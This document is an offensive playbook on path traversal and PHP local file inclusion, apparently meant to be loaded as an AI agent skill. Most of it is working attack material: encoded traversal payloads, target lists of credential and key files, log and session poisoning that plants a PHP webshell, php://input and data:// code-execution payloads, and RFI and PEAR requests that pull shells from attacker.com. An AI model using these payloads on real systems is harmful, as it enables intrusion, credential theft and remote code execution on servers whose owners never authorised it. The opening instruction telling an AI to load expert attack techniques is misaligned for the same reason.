SKILL: Path Traversal / Local File Inclusion (LFI) — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert path traversal and LFI techniques. Covers encoding bypass sequences, OS differences, filter bypass, PHP wrapper exploitation, log poisoning to RCE, and the critical distinction between path traversal (read only) vs LFI (execution). Base models miss encoding chains and RCE escalation paths.

0. RELATED ROUTING

Before deep exploitation, you can first load:

• upload insecure files when the primary attack surface is an upload workflow rather than an include or read primitive

First-pass traversal chains

../etc/passwd
../../../../etc/passwd
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
..\\..\\..\\windows\\win.ini

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1. CORE CONCEPT

Path Traversal: Read arbitrary files by escaping the intended directory with ../ sequences. LFI: In PHP, when user input controls include()/require() — file is executed as PHP code, not just read.

http://target.com/index.php?page=home
→ Opens: /var/www/html/pages/home.php

Traversal attack:
http://target.com/index.php?page=../../../../etc/passwd
→ Opens: /etc/passwd

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2. TRAVERSAL SEQUENCE VARIANTS

The filtering strategy determines which encoding to use:

Basic

../../../etc/passwd
..\..\..\windows\system32\drivers\etc\hosts  (Windows)

URL Encoding

%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd     ← %2f = '/'
%2e%2e%5c%2e%2e%5c%2e%2e%5c                  ← %5c = '\'

Double URL Encoding (when server decodes once, filter checks before decode)

%252e%252e%252f%252e%252e%252f  ← %25 = %, double-encoded %2e
..%252f..%252fetc%252fpasswd

Unicode / Overlong UTF-8

..%c0%af..%c0%af     ← overlong UTF-8 encoding of '/'
..%c1%9c..%c1%9c     ← overlong UTF-8 encoding of '\'
..%ef%bc%8f          ← fullwidth solidus '／'

Mixed Encodings

..%2F..%2Fetc%2Fpasswd
....//....//etc/passwd   ← double-dot with slash (filter strips single ../)

Filter Strips ../ (so ../ becomes ../ after strip)

....//          ← becomes ../ after filter strips ../
..././          ← becomes ../ after filter strips ./

Null Byte Injection (legacy PHP < 5.3.4)

../../../../etc/passwd%00.jpg   ← %00 truncates string, strips .jpg extension
../../../../etc/passwd%00.php

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3. TARGET FILES AND ESCALATION TARGETS

Linux

/etc/passwd                  ← user list (usernames, UIDs)
/etc/shadow                  ← password hashes (requires root-level file read)
/etc/hosts                   ← internal hostnames → pivot targets
/etc/hostname                ← server hostname
/proc/self/environ           ← process environment (DB creds, API keys!)
/proc/self/cmdline           ← process command line
/proc/self/fd/0              ← stdin file descriptor
/proc/[pid]/maps             ← memory maps (loaded libraries with paths)
/var/log/apache2/access.log  ← for log poisoning
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/auth.log            ← SSH attempt log
/var/mail/www-data            ← email for www-data user
/home/USER/.ssh/id_rsa       ← SSH private key
/home/USER/.ssh/authorized_keys
/home/USER/.bash_history     ← command history (credentials!)
/home/USER/.aws/credentials  ← AWS keys
/tmp/sess_SESSIONID          ← PHP session files (if session.save_path=/tmp)

Web Application Config Files

/var/www/html/.env           ← Laravel/Node.js env vars
/var/www/html/config.php     ← PHP config
/var/www/html/wp-config.php  ← WordPress DB credentials
/etc/apache2/sites-enabled/  ← Apache vhosts
/etc/nginx/sites-enabled/    ← Nginx config
/usr/local/etc/nginx/nginx.conf

Windows

C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Windows\System32\config\SAM          ← NTLM hashes (often locked)
C:\inetpub\wwwroot\web.config           ← ASP.NET DB connection strings
C:\inetpub\wwwroot\global.asa
C:\xampp\htdocs\wp-config.php
C:\Users\Administrator\.ssh\id_rsa
C:\ProgramData\MySQL\MySQL Server 8\my.ini  ← MySQL config

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4. PHP LFI → RCE TECHNIQUES

Log Poisoning (most reliable when log is accessible)

Step 1: Inject PHP code into Apache/Nginx access log via User-Agent:

GET / HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>

Step 2: Include the log file via LFI:

?page=../../../../var/log/apache2/access.log&cmd=id

SSH Log Poisoning

Inject PHP payload as SSH username:

ssh '<?php system($_GET["cmd"]); ?>'@target.com

Then include /var/log/auth.log.

PHP Session File Poisoning

Step 1: Send PHP code in session-stored parameter (e.g., username), triggering storage in session file Step 2: Include session file:

?page=../../../../tmp/sess_SESSIONID&cmd=id

Find session ID from cookie PHPSESSID.

PHP Wrappers for RCE

php://expect wrapper (requires expect PHP extension):

?page=expect://id

php://input wrapper (combine LFI with POST body):

POST ?page=php://input
Body: <?php system('id'); ?>

data:// wrapper (inject PHP directly as base64):

?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id

(PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4= = <?php system($_GET['cmd']); ?>)

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5. PHP FILTER WRAPPER (FILE CONTENT READ)

Use php://filter to base64-encode file content to avoid null bytes, binary data:

?page=php://filter/convert.base64-encode/resource=config.php
?page=php://filter/convert.base64-encode/resource=/etc/passwd
?page=php://filter/read=string.rot13/resource=config.php
?page=php://filter/convert.iconv.UTF-8.UTF-16LE/resource=config.php

Decode the returned base64 to see the file contents (including PHP source code).

Chain filters (multiple transforms to bypass input filters):

?page=php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/passwd

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6. REMOTE FILE INCLUSION (RFI) — WHEN ENABLED

If PHP's allow_url_include = On (rare but exists):

?page=http://attacker.com/shell.txt
?page=ftp://attacker.com/shell.php

Host a shell.txt with <?php system($_GET['cmd']); ?>.

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7. SERVER-SPECIFIC PATH TRUNCATION

PHP has a historical path length limit. Pad with . or /./ to truncate appended extension:

?page=../../../../etc/passwd/./././././././././././............ (255+ chars)

When server appends .php, the truncation drops it.

Or null byte if PHP < 5.3.4:

?page=../../../../etc/passwd%00

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8. PARAMETER LOCATIONS TO TEST

?file=        ?page=        ?include=    ?path=
?doc=         ?view=        ?load=       ?read=
?template=    ?lang=        ?url=        ?src=
?content=     ?site=        ?layout=     ?module=

Also test: HTTP headers, cookies, form action values, import/upload features.

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9. FILTER BYPASS CHECKLIST

When ../ is stripped or blocked:

□ Try URL encoding: %2e%2e%2f
□ Try double URL encoding: %252e%252e%252f
□ Try overlong UTF-8: ..%c0%af / ..%ef%bc%8f
□ Try mixed: ..%2F or ..%5C (backslash on Linux)
□ Try redundant sequences: ....// or ..././ (strip once → still ../)
□ Try null byte: /../../../etc/passwd%00
□ Try absolute path: /etc/passwd (if no path prefix added)
□ Try Windows UNC (Windows server): \\127.0.0.1\C$\Windows\win.ini

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10. IMPACT ESCALATION PATH

Path traversal (read arbitrary files)
├── Read /etc/passwd → enumerate users
├── Read /proc/self/environ → find API keys, DB passwords in env
├── Read app config files → find credentials → horizontal movement
├── Read SSH private keys → direct server login
└── Find log paths → Log Poisoning → LFI RCE

LFI (PHP code inclusion)
├── Log poisoning → webshell
├── Session file poisoning → webshell
├── php://input → direct code execution
├── data:// → direct code execution
└── php://filter → read PHP source code → find more vulnerabilities

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11. WINDOWS-SPECIFIC LFI TECHNIQUES

FindFirstFile wildcard (Windows only):

• < matches any single character, > matches any sequence (similar to ? and * but in file APIs)
• php<< can match php5, phtml, etc.
• ..\..\windows\win.ini → use << for fuzzy matching: ..\..\windows\win<<

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12. LFI TO RCE — ESCALATION PATHS

1. /proc/self/fd Brute-Force

# When file upload exists but path is unknown:
# Uploaded files get temporary fd in /proc/self/fd/
# Brute-force fd numbers:
/proc/self/fd/0 through /proc/self/fd/255
# Include the temp file before it's cleaned up

2. /proc/self/environ Poisoning

# If User-Agent is reflected in process environment:
GET /vuln.php?page=/proc/self/environ
User-Agent: <?php system($_GET['c']); ?>

3. Log Poisoning

# Apache access log:
GET /<?php system($_GET['c']); ?> HTTP/1.1
# Then include: /var/log/apache2/access.log

# SSH auth log (username field):
ssh '<?php system($_GET["c"]); ?>'@target
# Then include: /var/log/auth.log

# Mail log (SMTP subject):
MAIL FROM:<attacker@evil.com>
RCPT TO:<victim@target.com>
DATA
Subject: <?php system($_GET['c']); ?>
.
# Then include: /var/log/mail.log

4. PHP Session File Poisoning

# Set session variable to PHP code:
GET /page.php?lang=<?php system($_GET['c']); ?>
# Session file: /tmp/sess_PHPSESSID or /var/lib/php/sessions/sess_PHPSESSID
# Include the session file

5. phpinfo() Assisted LFI

# Race condition: upload via phpinfo() temp file
# 1. POST multipart file to phpinfo() page → reveals tmp_name (/tmp/phpXXXXXX)
# 2. Include the temp file before PHP cleans it up
# Requires many concurrent requests (race window ~10ms)

6. iconv CVE-2024-2961

# glibc iconv buffer overflow in PHP filter chains
# Tool: cfreal/cnext-exploits
# Converts LFI to RCE without needing writable paths or log poisoning

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13. PHP WRAPPER EXPLOITATION MATRIX

php://filter (file read without execution)

# Base64 encode source code:
php://filter/convert.base64-encode/resource=index.php

# ROT13:
php://filter/read=string.rot13/resource=index.php

# Chain multiple filters:
php://filter/convert.iconv.UTF-8.UTF-16/resource=index.php

# Zlib compression:
php://filter/zlib.deflate/resource=index.php

# NEW: Filter chain RCE (synacktiv php_filter_chain_generator)
# Generates chains that write arbitrary content via iconv conversions
# Tool: synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
# Produces: php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...|/resource=php://temp

convert.iconv + dechunk Oracle (blind file read)

# Error-based oracle: determine if first byte of file matches a character
# Tool: synacktiv/php_filter_chains_oracle_exploit
# Reads files byte-by-byte through error/behavior differences

data:// Wrapper

# Execute arbitrary PHP:
data://text/plain,<?php system('id'); ?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==

# Bypass when data:// is filtered but data: (without //) works:
data:text/plain,<?php system('id'); ?>

expect:// Wrapper

expect://id
expect://ls
# Requires expect extension (rare but check)

php://input

POST /vuln.php?page=php://input
Content-Type: application/x-www-form-urlencoded

<?php system('id'); ?>

zip:// and phar:// Wrappers

# zip://: Upload ZIP containing PHP file
zip:///tmp/upload.zip#shell.php

# phar://: Triggers deserialization of phar metadata!
phar:///tmp/upload.phar/anything
# Create malicious phar with crafted metadata object
# Can chain to RCE via POP gadget chains (like PHP deserialization)
# Phar can be disguised as JPG (polyglot phar-jpg)

wrapwrap (prefix/suffix injection)

# Tool: ambionics/wrapwrap
# Adds arbitrary prefix and suffix to file content via filter chains
# Useful for converting file read into XXE, SSRF, or deserialization trigger

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14. PEARCMD LFI TO RCE

When PEAR is installed and register_argc_argv=On (common in Docker PHP images):

# Method 1: config-create (write arbitrary content to file)
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/shell.php

# Method 2: man_dir (change docs directory to write path)
GET /index.php?+-c+/tmp/shell.php+-d+man_dir=<?=system($_GET[0])?>+-s+/usr/local/lib/php/pearcmd.php

# Method 3: download (fetch remote file)
GET /index.php?+download+http://attacker.com/shell.php&file=/usr/local/lib/php/pearcmd.php

# Method 4: install (install remote package)
GET /index.php?+install+http://attacker.com/evil.tgz&file=/usr/local/lib/php/pearcmd.php

Windows FindFirstFile Wildcard

# Windows << and > wildcards in file paths:
# << matches any extension, > matches single char
include("php<<");      # Matches any .php* file
include("shel>");      # Matches shell.php if only 1 char follows
# Useful when exact filename is unknown

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15. PARAMETER NAMING PATTERNS & HIGH-FREQUENCY ENDPOINTS

Common Vulnerable Parameter Names

filename    filepath    path        file        url
template    page        include     dir         document
folder      root        pg          lang        doc
conf        data        content     name        src
inputFile   hdfile      XFileName   FileUrl     readfile

High-Frequency Vulnerable Endpoints

Endpoint Pattern	Frequency
down.php / download.php	Very High
download.jsp / download.do	Very High
download.asp / download.aspx	High
readfile.php / file.php	High
export / report endpoints	Medium
template / preview endpoints	Medium

Bypass Technique Distribution (from field research)

Technique	Prevalence
Absolute path direct access	Most common
WEB-INF/web.xml read (Java)	Common
Base64 encoded path parameter	Moderate
Double URL encoding	Moderate
UTF-8 overlong encoding (%c0%ae)	Rare but effective
Null byte truncation (%00)	Legacy (PHP < 5.3.4)